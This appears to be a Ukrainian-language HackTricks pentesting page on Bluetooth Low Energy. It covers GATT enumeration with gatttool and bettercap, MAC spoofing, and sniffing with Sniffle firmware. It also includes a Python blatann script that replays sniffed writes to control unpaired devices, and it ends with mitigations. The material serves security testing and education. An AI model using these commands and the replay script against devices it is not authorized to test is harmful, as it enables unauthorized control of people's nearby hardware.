12 KiB
Pentesting BLE - Bluetooth Low Energy
{{#include ../../banners/hacktricks-training.md}}
Вступ
Доступний з моменту специфікації Bluetooth 4.0, BLE використовує лише 40 каналів, що охоплюють діапазон 2400 до 2483.5 MHz. Натомість традиційний Bluetooth використовує 79 каналів у тому самому діапазоні.
Пристрої BLE спілкуються, надсилаючи advertising packets (beacons); ці пакети транслюють наявність BLE-пристрою іншим сусіднім пристроям. Ці beacons іноді також відправляють дані.
Пристрій, що слухає, також називають центральним пристроєм, може відповісти на рекламний пакет через SCAN request, надісланий безпосередньо рекламному пристрою. Response на цей скан має ту ж структуру, що й advertising packet, з додатковою інформацією, яка не помістилась у початковому рекламному запиті, наприклад повна назва пристрою.
Байт преамбули синхронізує частоту, тоді як чотирьохбайтна access address є connection identifier, яка використовується в сценаріях, коли кілька пристроїв намагаються встановити з’єднання на тих самих каналах. Далі Protocol Data Unit (PDU) містить advertising data. Існує кілька типів PDU; найчастіше використовуваними є ADV_NONCONN_IND та ADV_IND. Пристрої використовують тип PDU ADV_NONCONN_IND, якщо вони не приймають з’єднань, передаючи дані лише в рекламному пакеті. Пристрої використовують ADV_IND, якщо вони дозволяють з’єднання і перестають надсилати рекламні пакети після того, як з’єднання було встановлено.
GATT
The Generic Attribute Profile (GATT) визначає, як пристрій має форматувати та передавати дані. Коли ви аналізуєте attack surface BLE-пристрою, ви часто зосереджуєтеся на GATT (або GATTs), тому що саме через нього тригериться функціональність пристрою і саме він визначає, як дані зберігаються, групуються та змінюються. GATT перелічує характеристики, дескриптори та сервіси пристрою в таблиці як значення по 16 або 32 біти. Characteristic — це значення даних, яке відправляється між центральним пристроєм і периферією. Ці характеристики можуть мати descriptors, які надають додаткову інформацію про них. Characteristics часто групуються в services, якщо вони пов’язані з виконанням певної дії.
Перерахування
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool дозволяє встановити з'єднання з іншим пристроєм, перераховуючи характеристики цього пристрою та читаючи й записуючи його атрибути.
GATTTool може запустити інтерактивну оболонку з опцією -I
:
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]
# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16
# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Bettercap
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing and actively controlling unpaired BLE devices
Багато недорогих периферійних пристроїв BLE не вимагають pairing/bonding. Без bonding шифрування Link Layer ніколи не вмикається, тому ATT/GATT трафік передається у відкритому вигляді. Off-path sniffer може відстежити з'єднання, декодувати GATT operations, щоб дізнатися characteristic handles і values, і будь-який близький хост зможе підключитися та повторно виконати ці writes, щоб керувати пристроєм.
Sniffing with Sniffle (CC26x2/CC1352)
Обладнання: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), перепрошитий прошивкою Sniffle від NCC Group.
Встановіть Sniffle та його Wireshark extcap на Linux:
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
Прошити Sonoff прошивкою Sniffle (переконайтеся, що ваш серійний пристрій відповідає, наприклад /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Захопіть у Wireshark через Sniffle extcap і швидко pivot до записів, що змінюють стан, відфільтрувавши:
_ws.col.info contains "Sent Write Command"
Це виділяє ATT Write Commands від клієнта; handle і value часто безпосередньо відповідають діям пристрою (наприклад, записати 0x01 у характеристику buzzer/alert, 0x00 — щоб зупинити).
Sniffle CLI короткі приклади:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Альтернативний sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin також працює. На маленьких/дешевих Nordic dongles зазвичай перезаписують USB bootloader, щоб завантажити sniffer firmware, тому або тримаєте окремий sniffer dongle, або потрібен J-Link/JTAG, щоб пізніше відновити bootloader.
Активне керування через GATT
Коли ви визначили writable characteristic handle і value зі sniffed traffic, підключіться як будь-який central і виконайте той самий Write:
-
За допомогою Nordic nRF Connect for Desktop (BLE app):
-
Виберіть nRF52/nRF52840 dongle, проскануйте та підключіться до цілі.
-
Перегляньте GATT database, знайдіть target characteristic (часто має friendly name, e.g., Alert Level).
-
Виконайте Write зі sniffed bytes (e.g., 01 to trigger, 00 to stop).
-
Автоматизувати у Windows з Nordic dongle за допомогою Python + blatann:
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
Операційні нотатки та заходи пом'якшення
- Віддавайте перевагу Sonoff+Sniffle на Linux для надійного channel hopping та connection following. Тримайте запасний Nordic sniffer як резерв.
- Без pairing/bonding будь-який атакуючий поблизу може спостерігати writes і відтворювати/створювати власні записи для unauthenticated writable characteristics.
- Заходи пом'якшення: вимагати pairing/bonding та застосовувати шифрування; встановити characteristic permissions так, щоб вимагати authenticated writes; мінімізувати unauthenticated writable characteristics; перевіряти GATT ACLs за допомогою Sniffle/nRF Connect.
Джерела
- Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners
- Sniffle – A sniffer for Bluetooth 5 and 4.x LE
- Firmware installation for Sonoff USB Dongle (Sniffle README)
- Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)
- Nordic nRF Sniffer for Bluetooth LE
- nRF Connect for Desktop
- blatann – Python BLE library for Nordic devices
{{#include ../../banners/hacktricks-training.md}}